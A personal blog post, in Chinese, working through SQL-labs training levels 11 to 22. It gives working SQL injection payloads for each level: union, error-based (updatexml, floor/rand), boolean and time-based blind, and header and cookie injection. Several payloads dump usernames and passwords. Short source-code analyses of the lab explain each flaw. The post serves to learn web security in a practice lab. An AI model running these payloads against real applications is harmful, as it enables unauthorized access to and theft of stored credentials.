Lemon's blog

通过sql-labs进行sql注入学习(11-22)

Record my learning process of SQL-labs.

字数统计: 1.9k阅读时长: 7 min
2019/10/27 Share

前言:

SQL注入是入门web安全的基础,所以得仔细学习SQL注入。

从十一关开始便是POST请求,这次从第十一关来做

第11关

尝试万能密码' or 1=1#,有回显,看来是单引号闭合,抓包进行操作,还是回显注入,不过是从GET方式变成了POST方式。

payload:

1
2
3
4
5
6
7
8
9
10
判断列数
uname=' order by 1,2,3#
查找数据库
uname=' union select 1,database()#
查表
uname=' union select 1,group_concat(table_name) from information_schema.tables where table_schema='security'--+
爆字段
uname=' union select 1,(select group_concat(column_name) from information_schema.columns where table_name='users')--+
爆值
uname=' union select 1,group_concat(username,0x3a,password) from users --+

在这里插入图片描述

源码分析

在这里插入图片描述
源码中的SQL语句直接是通关单引号闭合,并没有任何防护,所以会产生这样的问题

第12关

输入双引号发现报错信息
在这里插入图片描述
所以很容易就可以判断出闭合符号为"),其他就没有任何变化了,和第十一关一样的姿势

这里就列一个payload

1
2
爆字段
uname=") union select 1,(select group_concat(column_name) from information_schema.columns where table_name='users')--+

在这里插入图片描述

源码分析

在这里插入图片描述
分析源码便可发现这里只不过是使用$uname='"'.$uname'."',输入的参数闭合符号为",再拼接到$sql语句中,发现$uname前面还有一个(,所以这里拼接的闭合符号为"),但也仅限于此了,并没有其他防护。

第13关

测试',发现报错信息
在这里插入图片描述
通过这句话便可以判断出闭合符号为'),第十三关和之前不同的就是没有回显,但是还有报错信息,所以可以进行报错注入,同样还是先判断列数等

爆数据库

1
uname=') union select 1,count(*)  from information_schema.columns group by concat(database(),0x3a,floor(rand(0)*2));--+

在这里插入图片描述
爆数据表

1
uname=') union select count(*),concat((select table_name from information_schema.tables where table_schema='security' limit 3,1),0x3a,floor(rand(0)*2))x from information_schema.columns group by x;--+

爆字段值

1
uname=') Union select count(*),concat((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 1,1),0x26,floor(rand(0)*2))x from information_schema.columns group by x;--+

在这里插入图片描述
爆值

1
uname=') Union select count(*),concat((select username from users limit 1,1),0x3a,floor(rand(0)*2))x from information_schema.columns group by x;--+

在这里插入图片描述

源码分析

在这里插入图片描述
源码只是更改了注入成功时不输出不再回显,其他只是更改了')作为闭合符号。

第14关

测试出闭合符号为",类型和第十三题一样,同为报错注入

payload:

1
uname=1" union select 1,count(*)  from information_schema.columns group by concat(database(),0x3a,floor(rand(0)*2));--+

在这里插入图片描述

源码分析

在这里插入图片描述
与十三关大致相同,不多做解释了

第15关

当输入uname=1' or 1=1#,发现页面显示成功在这里插入图片描述
说明闭合符号为',这关没有报错信息也没有回显,就可以考虑布尔盲注和时间盲注了

布尔盲注

1
2
uname=1' or ascii(substr((database()),1,1))>115#&passwd=123&submit=Submit
uname=1' or ascii(substr((database()),1,1))=115#&passwd=123&submit=Submit

通关测试便可以发现,数据库第一个字符为S,利用这样的方法便可猜解出其他字符

时间盲注

1
uname=1' or if((ascii(substr(database(),1,1)))>100,1,sleep(10))#

通过利用if语句和sleep函数,来检测字符的ascll范围,如果不符合要求,响应便会延迟10秒,以此来猜解出数据库名。

源码分析

在这里插入图片描述
在这里插入图片描述
将报错信息和回显信息都已注释掉,所以只能通过盲注或时间盲注来做
在这里插入图片描述
SQL语句还和之前的一样,并没有多大的变化,没有太大的防护

第16关

利用uname=1") or 1=1#测试发现,显示成功,闭合符号为“),其他没什么变化,和第15关一样,同样的姿势,更改payload中的闭合符号即可,不多叙述

第17关

从第17关开始,发现页面发生一些变化,应该有新姿势要学习了
在这里插入图片描述

构造uname没有结果,尝试passwd,输入单引号时,发现出现报错信息,尝试Xpath报错,发现确实可以,那下面就简单多了,直接爆数据库、表等

爆数据库

1
uname=admin&passwd=1' or updatexml(1,concat(0x7e,database(),0x7e),1)# &submit=Submit

回显为:
爆数据表

1
2
uname=admin&passwd=1' or updatexml(1,(select group_concat(table_name) from 
information_schema.TABLES where TABLE_SCHEMA=database()),1)# &submit=Submit

爆字段

1
uname=admin&passwd=' or updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users' limit 3,1),0x7e),1)#&submit=Submit

爆值

1
uname=admin&passwd=' or updatexml(1,concat(0x7e,(select username from users),0x7e),1)#&submit=Submit

前面的都没有什么问题,但到爆值时,发现
在这里插入图片描述
查了下百度,发现:

mysql中You can't specify target table for update in FROM clause错误的意思是说,不能先select出同一表中的某些值,再update这个表(在同一语句中)
参考文章

需要再在外面加一层select即可解决

1
2
uname=admin&passwd=' or updatexml(1,concat(0x7e,(select username from (select username 
from users)c limit 0,1),0x7e),1)#&submit=Submit

在这里插入图片描述

源码分析

在这里插入图片描述
根本就没有提交uname,难怪没有反应
在这里插入图片描述

第18关

在这里插入图片描述
这次来一个IP地址,看来又可以学到新姿势了

猜想应该是head头注入,但是就是没有回显,无奈之下,用户名和密码下瞎输入uname=admin&passwd=123,发现:
在这里插入图片描述
这。。。。。必须登陆成功才能显示出报错信息

有了报错信息,可以用第17关的Xpath报错

输入User-Agent: 1',发现报错信息
尝试User-Agent: 1' or 1=1#,回显结果为:在这里插入图片描述
利用User-Agent: 1' or '1'='1,发现回显成功,闭合方式找到了,那payload就可以参照第17关的
在这里插入图片描述
爆出数据库

1
User-Agent: 1' and updatexml(1,concat(0x7e,database(),0x7e),1) and '1'='1

在这里插入图片描述
下面的和第17关就大差不差了

源码分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
function check_input($value)
{
if(!empty($value))
{
// truncation (see comments)
$value = substr($value,0,20);
}

// Stripslashes if magic quotes enabled
if (get_magic_quotes_gpc())
{
$value = stripslashes($value);
}

// Quote if not a number
if (!ctype_digit($value))
{
$value = "'" . mysql_real_escape_string($value) . "'";
}

else
{
$value = intval($value);
}
return $value;
}

在这里插入图片描述
有一个检测输入的函数,简单审计一下代码

使用substr函数限制了长度,如果输入的不是都是数字则mysql_real_escape_string() 函数转义 字符串中的特殊字符,将单引号给过滤所以我们按照常规的方法无法做出了,只能先登陆后通过User-Agent进行注入

第19关

和第十八关类似,不过这次注入点存在于Referer在这里插入图片描述
测试闭合符号还是Referer: 1' or '1'='1,那应该还是可以利用Xpath报错

payload

1
Referer: 1' or updatexml(1,concat(0x7e,database(),0x7e),1) and '1'='1

在这里插入图片描述

源码分析

在这里插入图片描述
其他防护代码和之前一样,只不过插入语句发生一点变化

第20关

之后的题应该都是先弱口令登入,才能查到一些信息,这关也需要先登陆,登陆之后便可以查看到
在这里插入图片描述
与COOKIE有关,抓包尝试注入

1
Cookie: uname=admin'

在这里插入图片描述
尝试出闭合符号

1
Cookie: uname=admin' or '1'='1

在这里插入图片描述
还是利用Xpath报错
payload

1
Cookie: uname=1' or updatexml(1,concat(0x7e,database(),0x7e),1) and '1'='1

在这里插入图片描述
其他姿势就跟上一关一样了,不再叙述了

源码分析

在这里插入图片描述
只设置了uname的cookie,其他也就没什么可分析的
在这里插入图片描述

第21关

抓包发现cookie中uname=YWRtaW4,解码为admin
在这里插入图片描述
提示还是cookie,那就还利用上一关的payload,base64加密传入即可
在这里插入图片描述

第22关

单引号变成双引号即可,还是一样的payload,base64加密即可
payload:

1
Cookie: uname=MSIgb3IgdXBkYXRleG1sKDEsY29uY2F0KDB4N2UsZGF0YWJhc2UoKSwweDdlKSwxKSBhbmQgIjEiPSIx

在这里插入图片描述

总结

这次就先打到这里,又学习到许多新的绕过姿势,继续学习!

CATALOG
  1. 1. 前言:
  • 第11关
    1. 1. 源码分析
    2. 2. 第12关
    3. 3. 源码分析
    4. 4. 第13关
    5. 5. 源码分析
    6. 6. 第14关
    7. 7. 源码分析
    8. 8. 第15关
    9. 9. 源码分析
    10. 10. 第16关
    11. 11. 第17关
    12. 12. 源码分析
    13. 13. 第18关
    14. 14. 源码分析
    15. 15. 第19关
    16. 16. 源码分析
    17. 17. 第20关
    18. 18. 源码分析
    19. 19. 第21关
    20. 20. 第22关
    21. 21. 总结